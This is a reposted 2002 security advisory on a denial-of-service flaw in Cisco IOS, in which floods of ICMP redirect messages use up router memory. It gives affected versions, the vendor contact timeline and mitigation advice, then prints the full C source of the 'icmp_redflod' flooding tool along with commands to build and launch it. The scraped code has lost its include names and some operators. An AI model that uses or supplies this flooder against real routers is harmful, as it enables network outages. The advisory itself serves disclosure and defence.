分享
 
 
 

Cisco IOS ICMP Redirect DoS

王朝other·作者佚名  2008-05-31
窄屏简体版  字體: |||超大  

Cisco Systems IOS is vulnerable to a denial-of-service attack using ICMP

Redirect messages.

When flooded with ICMP redirect messages, the IOS uses up all its memory

to store the new host routes. The device is then unable to perform

operations that need additional memory sUCh as receiving routing updates

and accepting inbound telnet(1) connections.

DETAILS

Known vulnerable combinations:

* Cisco 1005 with IOS 11.0(18)

* Cisco 1603 with IOS 11.3(11b)

* Cisco 1603 with IOS 12.0(3)

* Cisco 2503 with IOS 11.0(22a)

* Cisco 2503 with IOS 11.1(24a)

Known to be not vulnerable:

* Cisco 1603 with IOS 12.1(11)

* Cisco 1603 with IOS 12.2(5)

* Cisco 2503 with IOS 11.2(26a)

* Cisco 2503 with IOS 11.3(11b)

* Cisco 2503 with IOS 12.0(19)

Description:

ICMP redirect messages are used in IP networks to inform a sending device

about inefficient routing. Cisco IOS software stores redirect messages it

receives in memory for further consultation. They do not become part of

the normal routing table.

When generating ICMP redirect messages with random IP addresses in the

"offending packet" section of the ICMP frame, IOS will include this IP

address in its ICMP redirection table. In the vulnerable versions of IOS,

this table has no size limit. Later versions of IOS enforce a limit of

16000 redirects and therefore limit the amount of used memory to

approximately 1.16MB.

Some device/IOS combinations tested were unable to perform normal IP

routing for a limited time, but most combinations continued to function as

a router. In some cases, even Access to the console was denied because of

low memory.

According to Gaus, affected devices should

recover after 4 hours since the redirect table entries time out. However,

vulnerable versions tested did not recover.

Vendor status:

11/16/2001 to 05/05/2002 Contacted Cisco 8 times over past 6 months

concerning status.

05/07/2002 Gaus says Cisco developers assigned a low priority to the bug.

05/11/2002 Provide a copy of this file to Cisco prior to publication.

05/20/2002 Final corrections by Cisco included.

05/21/2002 Info from Cisco: Fix available shortly.

Example:

To generate random ICMP redirect messages, a sender tool is available at

http://www.phenoelit.de/irpas/icmp_redflod.c, which has to be linked with

the IRPAS packet library.

Linuxbox# cd /where/irpas/is

linuxbox# make libpackets.a

linuxbox# gcc -o icmp_redflod -I. -L. icmp_redflod.c -lpackets

linuxbox# ./icmp_redflod -i eth0 -D -G

On high bandwidth networks, the command line switch -w0 can be used to

increase the sending rate.

Solution:

Filter inbound ICMP redirect messages or update your IOS to either a not

vulnerable release or a fixed version when these become available.

EXPloit code:

/* ICMP redirect flooder

*

* FX

* Phenoelit (http://www.phenoelit.de)

* (c) 2k++

*

* $Id: icmp_redflod.c,v 1.3 2002/05/11 14:59:06 fx Exp fx $

*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include "protocols.h"

#include "packets.h"

#include "build.h"

#include

#include

/* definitions */

#define IPTTL 0x80

#define DEFAULT_DELAY 100000

#define BANNER "ICMP Redir Flooder $Revision: 1.3 $\n" "\t(c) 2k++ FX \n" "\tPhenoelit (http://www.phenoelit.de)\n"

/* config */

struct {

int verbose;

char *device;

int flood;

int spoof_src;

int code;

struct in_addr dest;

struct in_addr src;

struct in_addr gw;

unsigned int delay;

} cfg;

/*

* globals

*/

u_char *rawpacket;

int icmpsfd;

sig_atomic_t stop_flag=0;

unsigned long iii=0;

/************************************

* prototypes */

void usage(char *n);

u_char *construct_icmp_redirect(struct in_addr *dest,

struct in_addr *newgw, int *psize);

/* PCAP */

void signaler(int sig);

/* the main function */

int main(int argc, char **argv) {

char option;

extern char *optarg;

u_char *icp;

int icl;

memset(&cfg,0,sizeof(cfg));

cfg.delay=DEFAULT_DELAY; cfg.flood=1; cfg.code=0xFF;

while ((option=getopt(argc,argv,"vfc:i:S:G:D:w:"))!=EOF) {

switch (option) {

case 'v': /* verbose */

cfg.verbose++;

break;

case 'f': cfg.flood=0;

break;

case 'i': /* local network device */

cfg.device=smalloc(strlen(optarg)+1);

strcpy(cfg.device,optarg);

break;

break;

case 'S': /* spoof source */

if (inet_aton(optarg,&(cfg.src))==0) {

fprintf(stderr,

"source IP address seems to be wrong\n");

return (1);

}

cfg.spoof_src++;

break;

case 'G': /* set gw */

if (inet_aton(optarg,&(cfg.gw))==0) {

fprintf(stderr,

"Gateway IP address seems to be wrong\n");

return (1);

}

break;

case 'D': /* dest address */

if (inet_aton(optarg,&(cfg.dest))==0) {

fprintf(stderr,

"dest IP address seems to be wrong\n");

return (1);

}

break;

case 'w': cfg.delay=atoi(optarg);

break;

case 'c': cfg.code=atoi(optarg);

break;

default: usage(argv[0]);

}

}

if (!cfg.device) usage(argv[0]);

/*

* TODO: add output on what we are about to do

*/

srand((unsigned int)time(NULL));

/* set up ICMP sender socket (IP) */

if ((icmpsfd=init_socket_IP4(cfg.device,0))

/* if spoofing is enabled, copy it */

if (!cfg.spoof_src) {

memcpy(&(cfg.src.s_addr), &(packet_ifconfig.ip.s_addr), IP_ADDR_LEN);

}

/* signal handling */

signal(SIGTERM,&signaler);

signal(SIGABRT,&signaler);

signal(SIGINT,&signaler);

/* my shit */

printf(BANNER); printf("\tIRPAS build %s\n",BUILD);

printf("Performing flood ...\n");

if (cfg.flood) {

while (!stop_flag) {

icp=construct_icmp_redirect(&(cfg.dest),&(cfg.gw),&icl);

sendpack_IP4(icmpsfd,icp,icl);

free(icp);

if (cfg.delay0) usleep(cfg.delay);

}

} else {

icp=construct_icmp_redirect(&(cfg.dest),&(cfg.gw),&icl);

sendpack_IP4(icmpsfd,icp,icl);

free(icp);

}

/* at the end of the day, close our socket */

close(icmpsfd);

printf("Send %lu packets\n",iii);

return (0);

}

/********************** FUNCTIONS **********************/

void signaler(int sig) {

stop_flag++;

if (cfg.verbose2)

fprintf(stderr,"\nSignal received.\n");

}

/* constructs the ICMP redirect

* * Returns a pointer to the packet or NULL if failed

* * returns also the size in *psize */

u_char *construct_icmp_redirect(struct in_addr *dest,

struct in_addr *newgw, int *psize) {

#define PADDING 0

u_char *tpacket;

iphdr_t *iph,*iporig;

icmp_redirect_t *icmp;

u_int16_t cs;

unsigned int randip;

*psize=sizeof(icmp_redirect_t)+sizeof(iphdr_t)+PADDING;

tpacket=(u_char *)smalloc(*psize

+3 /* for my checksum function, which sometimes

steps over the mark */

);

/* make up IP packet */

iph=(iphdr_t *)tpacket;

iph-version=4;

iph-ihl=sizeof(iphdr_t)/4;

iph-tot_len=htons(*psize);

iph-ttl=IPTTL;

iph-id=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0)));

iph-protocol=IPPROTO_ICMP;

memcpy(&(iph-saddr.s_addr),&(cfg.src.s_addr),IP_ADDR_LEN);

memcpy(&(iph-daddr.s_addr),&(dest-s_addr),IP_ADDR_LEN);

/* make up the icmp header */

icmp=(icmp_redirect_t *)(tpacket+sizeof(iphdr_t));

icmp-type=ICMP_REDIRECT;

if (cfg.code==0xFF)

icmp-code=ICMP_REDIR_HOST;

else

icmp-code=(unsigned char)cfg.code;

memcpy(&(icmp-gateway),&(newgw-s_addr),IP_ADDR_LEN);

iporig=(iphdr_t *)(&(icmp-headerdata));

iporig-version=4;

iporig-ihl=sizeof(iphdr_t)/4;

iporig-tot_len=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0)));

iporig-id=htons(1+(int) (65535.0*rand()/(RAND_MAX+1.0)));

iporig-protocol=IPPROTO_UDP;

memcpy(&(iporig-saddr.s_addr),&(cfg.dest.s_addr),IP_ADDR_LEN);

randip=((unsigned int)(4294967294.0*rand()/(RAND_MAX+1.0)));

memcpy(&(iporig-daddr.s_addr),&(randip),IP_ADDR_LEN);

iii++;

/* make up checksum */

cs=chksum((u_char *)icmp,sizeof(icmp_redirect_t));

icmp-checksum=cs;

return tpacket;

}

void usage(char *n) {

printf(

"%s [-v[v[v]]] [-f] -i \n"

"\t[-D \n"

"\t[-G ] [-w ]\n"

"\t[-S ] [-c ICMP code]\n",

n);

exit (1);

}

ADDITIONAL INformATION

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有